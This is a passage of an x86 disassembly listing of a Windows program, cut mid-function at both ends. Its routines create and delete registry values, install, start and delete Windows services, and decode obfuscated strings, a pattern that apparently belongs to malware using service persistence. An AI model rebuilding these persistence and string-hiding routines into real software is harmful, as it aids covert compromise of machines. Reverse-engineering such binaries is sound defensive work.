		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_13ABBE4
		push	eax
		push	80000001h
		call	esi ; RegCreateKeyExA
		mov	ecx, edi
		call	sub_13ABA81
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; RegCloseKey
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_13ABBE4
		push	eax
		push	80000001h
		call	esi ; RegCreateKeyExA
		mov	ecx, edi
		call	sub_13ABA81
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp ; RegDeleteValueA
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx ; RegCloseKey
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_13AB626
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_13AB626
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_13B8BB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B9040	proc near		; CODE XREF: sub_13AB897j

var_54		= byte ptr -54h
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	0FFFFFFFFh
		push	438FF8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_13AB824
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_13AC05D
		push	eax
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [esp+50h+var_30]
		call	sub_13AB824
		mov	ecx, [esp+50h+arg_10]
		mov	[esp+50h+arg_4], 1
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+54h+var_18]
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+58h+var_30]
		push	offset dword_443684
		push	eax
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+50h+var_48]
		call	sub_13AB824
		lea	ecx, [esp+50h+var_48]
		push	offset dword_4437D4
		push	ecx
		mov	[esp+58h+arg_4], 2
		call	sub_13AB42D
		mov	ecx, [esp+58h+arg_C]
		add	esp, 8
		lea	edx, [esp+50h+var_48]
		lea	eax, [esp+50h+var_30]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AC553
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_13AB626
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_13AB626
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_13B9040	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B9180	proc near		; CODE XREF: sub_13AC553j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	439018h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset dword_443C18
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	OpenSCManagerA	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_13B91BF
		xor	al, al
		jmp	loc_13B9310
; ---------------------------------------------------------------------------


loc_13B91BF:				; CODE XREF: sub_13B9180+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_13AB824
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_13ABBE4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset dword_443C0C
		push	eax
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_13ABBE4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447884
		call	sub_13ABBE4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		push	edi
		call	CreateServiceA	; CreateServiceA
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_13B92A5
		call	GetLastError
		cmp	eax, 431h
		jnz	short loc_13B9289
		mov	ecx, [esp+50h+var_40]
		push	ebp
		call	sub_13ABD42
		mov	esi, CloseServiceHandle
		push	0
		call	esi ; CloseServiceHandle
		push	edi
		call	esi ; CloseServiceHandle
		mov	ecx, [esp+4Ch+var_3C]
		push	ebx
		push	ebp
		call	sub_13AB897
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, bl
		jmp	loc_13B9310
; ---------------------------------------------------------------------------


loc_13B9289:				; CODE XREF: sub_13B9180+CBj
		push	edi
		call	CloseServiceHandle	; CloseServiceHandle
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	short loc_13B9310
; ---------------------------------------------------------------------------


loc_13B92A5:				; CODE XREF: sub_13B9180+BEj
		lea	edx, [esp+50h+var_34]
		mov	dword ptr [esp+50h+var_30], ecx
		mov	[esp+50h+var_2C], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+54h+var_3C]
		push	2
		push	esi
		mov	[esp+5Ch+var_38], eax
		mov	[esp+5Ch+var_3C], eax
		mov	[esp+5Ch+var_34], ebx
		mov	[esp+5Ch+var_28], eax
		mov	[esp+5Ch+var_24], ecx
		call	ChangeServiceConfig2A	; ChangeServiceConfig2A
		test	eax, eax
		push	esi
		mov	esi, CloseServiceHandle
		jnz	short loc_13B92FC
		call	esi ; CloseServiceHandle
		push	edi
		call	esi ; CloseServiceHandle
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_13AB626
		xor	al, al
		jmp	short loc_13B9310
; ---------------------------------------------------------------------------


loc_13B92FC:				; CODE XREF: sub_13B9180+164j
		call	esi ; CloseServiceHandle
		push	edi
		call	esi ; CloseServiceHandle
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_13AB626
		mov	al, 1


loc_13B9310:				; CODE XREF: sub_13B9180+3Aj
					; sub_13B9180+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_13B9180	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B93A0	proc near		; CODE XREF: sub_13ABD42j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset dword_443C18
		push	0
		call	OpenSCManagerA	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_13B93C7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B93C7:				; CODE XREF: sub_13B93A0+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_13ABBE4
		push	eax
		push	edi
		call	OpenServiceA	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13B93F4
		push	edi
		call	CloseServiceHandle	; CloseServiceHandle
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B93F4:				; CODE XREF: sub_13B93A0+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	ControlService	; ControlService
		push	esi
		call	DeleteService	; DeleteService
		push	esi
		mov	esi, CloseServiceHandle
		call	esi ; CloseServiceHandle
		push	edi
		call	esi ; CloseServiceHandle
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_13B93A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B9440	proc near		; CODE XREF: sub_13AC3B4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset dword_443C18
		push	0
		call	OpenSCManagerA	; OpenSCManagerA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13B945F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B945F:				; CODE XREF: sub_13B9440+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_13ABBE4
		push	eax
		push	esi
		call	OpenServiceA	; OpenServiceA
		test	eax, eax
		jnz	short loc_13B9486
		push	esi
		call	CloseServiceHandle	; CloseServiceHandle
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B9486:				; CODE XREF: sub_13B9440+37j
		push	edi
		mov	edi, CloseServiceHandle
		push	eax
		call	edi ; CloseServiceHandle
		push	esi
		call	edi ; CloseServiceHandle
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_13B9440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B94C0	proc near		; CODE XREF: sub_13AC3DCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset dword_443C18
		push	0
		call	OpenSCManagerA	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_13B94E1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B94E1:				; CODE XREF: sub_13B94C0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_13ABBE4
		push	eax
		push	edi
		call	OpenServiceA	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13B950B
		push	edi
		call	CloseServiceHandle	; CloseServiceHandle
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B950B:				; CODE XREF: sub_13B94C0+3Bj
		push	0
		push	0
		push	esi
		call	StartServiceA	; StartServiceA
		push	esi
		mov	esi, CloseServiceHandle
		call	esi ; CloseServiceHandle
		push	edi
		call	esi ; CloseServiceHandle
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_13B94C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B9550	proc near		; CODE XREF: sub_13AB8A1j

var_B4		= byte ptr -0B4h
var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	439068h
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+74h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B964A
		push	1
		push	offset dword_443600
		lea	eax, [esp+84h+var_58]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13AB5EA
		push	1
		push	offset dword_443600
		lea	ecx, [esp+94h+var_80]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+9Ch+var_18], ebx
		call	sub_13AB5EA
		lea	edx, [esp+9Ch+var_90]
		lea	eax, [esp+9Ch+var_78]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+0A4h+var_28], 1
		call	sub_13ABB26
		test	al, al
		jz	short loc_13B9616
		lea	ecx, [esp+0A4h+var_98]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0A8h+var_80]
		call	sub_13ABBE4
		push	eax
		push	offset dword_443C78
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch


loc_13B9616:				; CODE XREF: sub_13B9550+87j
		lea	ecx, [esp+0A4h+var_98]
		mov	byte ptr [esp+0A4h+var_30], bl
		call	sub_13AB626
		lea	ecx, [esp+0A4h+var_80]
		mov	[esp+0A4h+var_30], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+98h+var_38]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B964A:				; CODE XREF: sub_13B9550+36j
		lea	ecx, [edi+47h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B96E9
		push	1
		push	offset dword_443600
		lea	eax, [esp+88h+var_5C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13AB5EA
		lea	ecx, [esp+90h+var_6C]
		mov	[esp+90h+var_1C], 2
		push	ecx
		mov	ecx, edi
		call	sub_13AB847
		test	al, al
		jz	short loc_13B96C2
		lea	ecx, [esp+94h+var_70]
		call	sub_13ABBE4
		push	eax
		push	offset dword_443C64
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h


loc_13B96C2:				; CODE XREF: sub_13B9550+13Dj
		lea	ecx, [esp+94h+var_70]
		mov	[esp+94h+var_20], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+88h+var_28]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B96E9:				; CODE XREF: sub_13B9550+10Cj
		lea	ecx, [edi+75h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B97FF
		push	1
		push	offset dword_443600
		lea	ecx, [esp+8Ch+var_48]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		push	1
		push	offset dword_443600
		lea	edx, [esp+9Ch+var_88]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_20], 3
		call	sub_13AB5EA
		push	1
		push	offset dword_443600
		lea	eax, [esp+0ACh+var_80]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h+var_30], bl
		call	sub_13AB5EA
		lea	ecx, [esp+0B4h+var_90]
		lea	edx, [esp+0B4h+var_A8]
		push	ecx
		lea	eax, [esp+0B8h+var_78]
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+0C0h+var_40], 5
		call	sub_13AC553
		test	al, al
		jz	short loc_13B97BD
		lea	ecx, [esp+0C0h+var_9C]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0C4h+var_B4]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0C8h+var_84]
		call	sub_13ABBE4
		push	eax
		push	offset dword_443C40
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 20h


loc_13B97BD:				; CODE XREF: sub_13B9550+224j
		lea	ecx, [esp+0C0h+var_9C]
		mov	byte ptr [esp+0C0h+var_4C], bl
		call	sub_13AB626
		lea	ecx, [esp+0C0h+var_B4]
		mov	byte ptr [esp+0C0h+var_4C], 3
		call	sub_13AB626
		lea	ecx, [esp+0C0h+var_84]
		mov	[esp+0C0h+var_4C], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+0B4h+var_54]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B97FF:				; CODE XREF: sub_13B9550+1ABj
		lea	ecx, [edi+0A3h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13B98A1
		push	1
		push	offset dword_443600
		lea	eax, [esp+90h+var_34]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13AB5EA
		lea	ecx, [esp+98h+var_44]
		mov	[esp+98h+var_24], 6
		push	ecx
		mov	ecx, edi
		call	sub_13ABD42
		test	al, al
		jz	short loc_13B987A
		lea	ecx, [esp+9Ch+var_48]
		call	sub_13ABBE4
		push	eax
		push	offset dword_443C2C
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h


loc_13B987A:				; CODE XREF: sub_13B9550+2F5j
		lea	ecx, [esp+9Ch+var_48]
		mov	[esp+9Ch+var_28], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+90h+var_30]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13B98A1:				; CODE XREF: sub_13B9550+2C4j
		mov	ecx, [esp+88h+var_1C]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
sub_13B9550	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B99A0	proc near		; CODE XREF: sub_13AC102j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	malloc	; malloc
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_13B99A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B9A10	proc near		; CODE XREF: sub_13ABA95j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43920Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_13AC26A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_13AB5B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_13AB824
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_13ABB49
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_13ABB49
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_13ABB49
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_13ABB49
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_13ABB49
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_13ABB49
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_13ABB49
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_13ABB49
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_13ABB49
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_13ABB49
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_13ABB49
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_13ABB49
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_13ABB49
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_13ABB49
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_13ABB21
		mov	dword ptr [edi], offset	dword_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F80
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	dword_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_13AB9D7
		call	GetTickCount	; GetTickCount
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_13ABBE4
		push	eax
		push	offset dword_44710C
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_13ABDB5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447110
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447114
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_13ABDB5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447118
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_13ABDB5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_13ABBE4
		push	eax
		push	offset dword_44711C
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_13ABDB5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447120
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_13ABDB5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447124
		call	sub_13AC102
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_13AB626
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_13ABBE4
		push	eax
		push	offset dword_447128
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_13ABBE4
		push	eax
		push	offset dword_44712C
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_13ABBE4
		push	eax
		push	offset dword_447130
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_13ABBE4
		push	eax
		push	offset dword_447134
		call	sub_13AC102
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_13AB626
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_13ABDB5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_13ABBE4
		push	eax
		push	offset dword_447138
		call	sub_13AC102
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_13AB626
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_13ABDB5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_13ABBE4
		push	eax
		push	offset dword_44713C
